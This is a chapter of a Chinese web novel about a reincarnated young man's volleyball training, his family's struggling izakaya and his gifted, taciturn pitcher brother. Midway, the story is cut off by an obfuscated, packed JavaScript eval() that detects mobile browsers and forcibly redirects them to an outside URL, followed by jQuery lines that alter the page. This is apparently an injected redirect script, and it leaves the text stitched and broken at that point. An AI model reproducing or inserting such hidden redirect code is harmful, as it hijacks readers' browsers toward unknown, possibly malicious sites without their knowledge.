晨光像个不速之客，硬挤进荒巻家违建的阁楼天窗，照得榻榻米上金太郎偷藏的鸡骨头闪闪发光。
建人揉着被早川茜一拳捶肿的肩膀，盯着矮桌上的“晨间特供”——一碗味噌汤，紫菜碎漂在汤面上，散发着可疑的气息；旁边的鲭鱼头烤得半焦，鱼眼珠子仿佛在控诉昨晚居酒屋的加班地狱。
“臭小子，盯着鱼头干嘛？它又不会教你拦网！”铁平叔的嗓门从厨房炸开，他拎着瓶过期酱油，胡茬上挂着麻将桌上蹭的辣椒油，宿醉的眼神依旧嚣张。
“叔，你昨晚输了多少？美咲姐账本上又多了三页赤字。”建人用筷子戳着鱼头，偷瞄美咲。
她站在洗碗池前，剁大葱的架势堪比居酒屋常客“独眼龙三郎”砍价时的气势，马尾在晨光中甩出一道凌厉弧线。
“少废话！吃完滚去学校，别让茜那丫头把你当人肉沙包！”铁平一巴掌拍在建人后脑勺，差点让他把鱼骨咽下去。
健太坐在桌对面，机械式往嘴里塞米饭，眼神比前世建人见过的自动贩卖机还冷漠。校服袖口露出半截绷带，显然昨晚棒球社的夜训又把他折腾得不轻。
建人瞥见弟弟手背的老茧，心想这小子简直是甲子园的3D打印机，天赋高得像在开挂。
“健太，昨晚又三振了几个倒霉蛋？”建人试探着问，想缓和桌上的低气压。
“七个。”健太头也不抬，筷子精准夹起碗里唯一的梅干，动作快得像在热身投球。
“七个？！你这是要把对手直接打回姥姥家！”建人吹了声口哨，换来美咲飞来的锅铲，精准命中脑门。
“别吵！健太的比赛门票钱还没着落，你先把县大赛八强的奖金拿到手！”美咲的马尾甩得像战国女将挥刀，气场碾压全场。
建人捂着脑门，心想这家人的生存模式简直是“全员地狱难度”。
前世他靠过期便当苟活，好歹是个便利店常客；这辈子却要面对美咲的料理试炼、铁平的酒后哲学课，还有健太那张扑克脸背后藏着的甲子园野心。
金太郎突然从桌底窜出，叼走鲭鱼头，尾巴一甩，带翻酱料瓶。酱油在榻榻米上画出一幅抽象派杰作，美咲的怒吼瞬间引爆全场：“荒巻建人！今晚居酒屋加班，把这摊子收拾干净！”
市立三中的体育馆弥漫着霉味和消毒水的怪异混合，像座被遗忘的昭和遗迹。
建人蹲在网前，盯着早川茜手里的排球，那颗球在他眼里就是颗定时炸弹。
昨天练习赛，他靠“动态视力外挂”侥幸拦网得分，可今早那股神秘力量仿佛被神明收回，只剩酸痛的肩膀和满头冷汗。
“荒巻！别发呆！接发球姿势摆好！”茜的嗓门震得体育馆嗡嗡作响，角落偷懒的二年级生吓得水壶差点落地。
“茜姐，我昨天已经拦了三个球，饶了我吧……”建人试图用死鱼眼发动精神攻击，却被茜一个假动作晃得摔了个狗啃泥。
“三个？港南中王牌昨天扣了你十七次，你才拦三个，还好意思提？”茜双手叉腰，双马尾甩得像两把军刀，“今天特训接发球，接不到五十个别想吃晚饭！”
建人爬起来，揉着摔疼的膝盖，心想这女人简直是美咲的青春版加强型。
训练开始，茜的发球如机关枪扫射，每颗球都带着“砸死你”的杀气。
建人咬牙接了三十七个，手臂红得像刚从居酒屋烤炉捞出的鱿鱼。
“三十八！”茜大喊，球又飞来。建人下意识扑过去，膝盖在木地板滑出半米，指尖堪堪擦到球边，球却像长了眼睛，拐弯砸在界外。“哈哈！荒巻，你是想给地板抛光吗？”队友田中从替补席传来无情嘲笑。
建人趴在地上，盯着地板上的汗渍，心想这辈子最大的错误就是没在转生时选个体能挂。
茜走过来，居高临下扔给他一瓶水：“休息五分钟，接着练。县大赛八强不是靠你那半吊子外挂能混进去的。”
建人灌下半瓶水，抬头瞥见茜的战术板，上面贴满他的训练数据，旁边画了个卡通版的他被排球砸得满头包。
少女的字迹工整如教科书，旁边却写着“目标：让荒巻学会接发球前别摔倒”。
“茜姐，你这战术板兼职当我的黑历史档案吗？”建人吐槽。
“少废话！”茜瞪他一眼，转身调整发球机。建人盯着她的背影，忽而想起昨晚美咲送来的章鱼烧——焦香酥脆的外皮，内馅藏着她从高级食材省下的虾仁和奶酪。
美咲从不承认自己心软，但每次用料理“威胁”他时，总会偷偷塞点好东西。
训练后，建人拖着像被卡车碾过的身体回到町屋。
居酒屋的招牌灯已亮起，门口挂着歪斜的木牌：“本店谢绝霸王餐，违者塞鲭鱼箱寄北海”。
推门而入，烤秋刀鱼的香气混着啤酒泡沫的呛味扑面而来。
“哟，臭小子回来了！快去端盘子，今晚常客全到齐了！”美咲站在吧台后，围裙沾满鱼鳞，挥舞的锅铲像在指挥交响乐。
建人换上制服——一件印着“荒巻家特攻队”的黑色T恤，袖口被金太郎咬出个洞。
他端着烤串穿梭在烟雾缭绕的桌子间，耳边是常客的醉话和铁平的酒嗝笑声。
“建人！三号桌加两份毛豆！”美咲的喊声盖过收音机的演歌。
建人把盘子塞给一个胡子拉碴的大叔，大叔满嘴酒气拍他肩膀：“小子，听说你要打县大赛？来，叔讲讲当年我跟山崎组单挑的传奇！”
“叔，你那传奇上周讲了三遍……”建人无奈递上毛豆，转身又被另一常客拉住，非要给他看刚钓的鲷鱼照片。
忙到九点，建人偷空靠在吧台喘气。美咲扔给他一个饭团：“吃完给健太送饭，那小子训练到十点，饿着可不行。”
建人咬了口饭团，里面混着美咲的“预算平衡术”——碎玉米粒和海苔屑。
他看着美咲忙碌的背影，忽而想起她昨晚在账本上写下的赤字，还有健太说的那枚典当的戒指。美咲从不提牺牲，但每次骂他“浪费食物”时，眼底总有种让人不敢直视的温柔。
私立学校的棒球场灯火通明，空气弥漫着红土和汗水的味道。
建人拎着便当盒站在场边，远远看见健太站在投手丘上，校服被汗水浸透，投球动作却如精密机器。
球“砰”地砸进捕手手套，计速器显示“142km/h”。
“天哪，这小子是怪物吧！”替补队员小声嘀咕。
建人却只觉一阵莫名酸涩。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529078|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
健太的天赋像颗定时炸弹，注定炸开甲子园的大门，而他这个哥哥还在为接发球摔得满地打滚。
“健太！饭来了！”建人朝场内喊。
健太头也不回，挥挥手示意放长椅上。
建人坐下看弟弟训练。健太每投一球，教练都会低声记录，偶尔点头，像在鉴定稀世珍宝。
相比之下，建人的排球训练像在玩过家家——拦网靠外挂，接发球靠摔，唯一的亮点是茜的毒舌激励。
“健太这小子，天生就是王牌的料。”建人自嘲一笑，打开便当盒，里面是美咲特制的鸡肉饭团和半颗荷包蛋。
他咬了口饭团，心想弟弟的未来是甲子园的闪光灯，而他可能一辈子在居酒屋端盘子、跟金太郎抢鸡骨头。
训练结束，健太走过来，脸上仍是AI般的扑克脸。
他接过便当，低声说了句：“谢了。”拆饭团的动作小心得像在拆弹。
“喂，你投球那么猛，就不能笑一个？”建人吐槽。
健太瞥他一眼，嘴角上扬0.3秒，堪称他这辈子最夸张的表情。建人差点被饭团噎住，心想这小子要是去甲子园，估计能靠冷脸吓退对手。
“哥，你县大赛能进八强吗？”健太突然开口，声音低得像自言自语。
建人愣了愣，挠头：“不好说，茜说我要是不学会接发球，就得用脸接扣杀。”
健太咬了口饭团，沉默片刻：“你拦网很强。”
“哈？那是因为我偶尔开挂！”建人笑得有点尴尬，但心里像被什么轻轻撞了一下。
健太从不说废话，这句评价堪比诺贝尔奖。
回到町屋，居酒屋已打烊。金太郎趴在榻榻米啃鸡骨头，美咲在吧台算账，铁平醉倒在角落，嘴里嘀咕着“夜叉罗”的丰功伟绩。
建人帮着收拾桌子，脑子里全是健太投球的画面和茜的战术板。
“臭小子，发什么呆？明天还得训练！”美咲扔来一块抹布，精准命中他脸。
建人接住抹布，咧嘴一笑：“姐，我真进了八强，能不能换个新围裙给你？”
美咲愣了一下，锅铲停在半空，随即冷哼：“少做梦，先把接发球练好，别给荒巻家丢脸！”
建人低头擦桌子，嘴角忍不住上扬。他想起前世站在便利店门口，攥着鲔鱼饭团天人交战。那时的他以为人生是单机游戏，却没想到转生后会遇到这群“地狱难度”的队友。
月光从违建天窗漏进来，照亮墙上的裂缝。没有遗照，只有美咲的还款日标记、健太的棒球凹痕，还有他昨天不小心用排球砸出的新坑。
“或许，”建人自言自语，“这破网也能拦住点什么。”
锅铲、账本、球鞋、饭团，每一样都在证明这个家活得艰难，却倔强得像永不认输的加班。前世他可以装傻混日子，但这辈子，他必须成为那个能拦住对手、也能拦住命运的家伙。
“金太郎！别舔那碗味噌汤！”美咲的怒吼从厨房传来，尾音夹着锅铲撞碗的金属颤音。
建人一边叹气一边笑了。
他要赶去球场，给沉默的弟弟送饭；要训练到手掌破皮，为了八强；要在这片满是油烟和电线杆的下町，靠汗水和意志，一点点往上爬。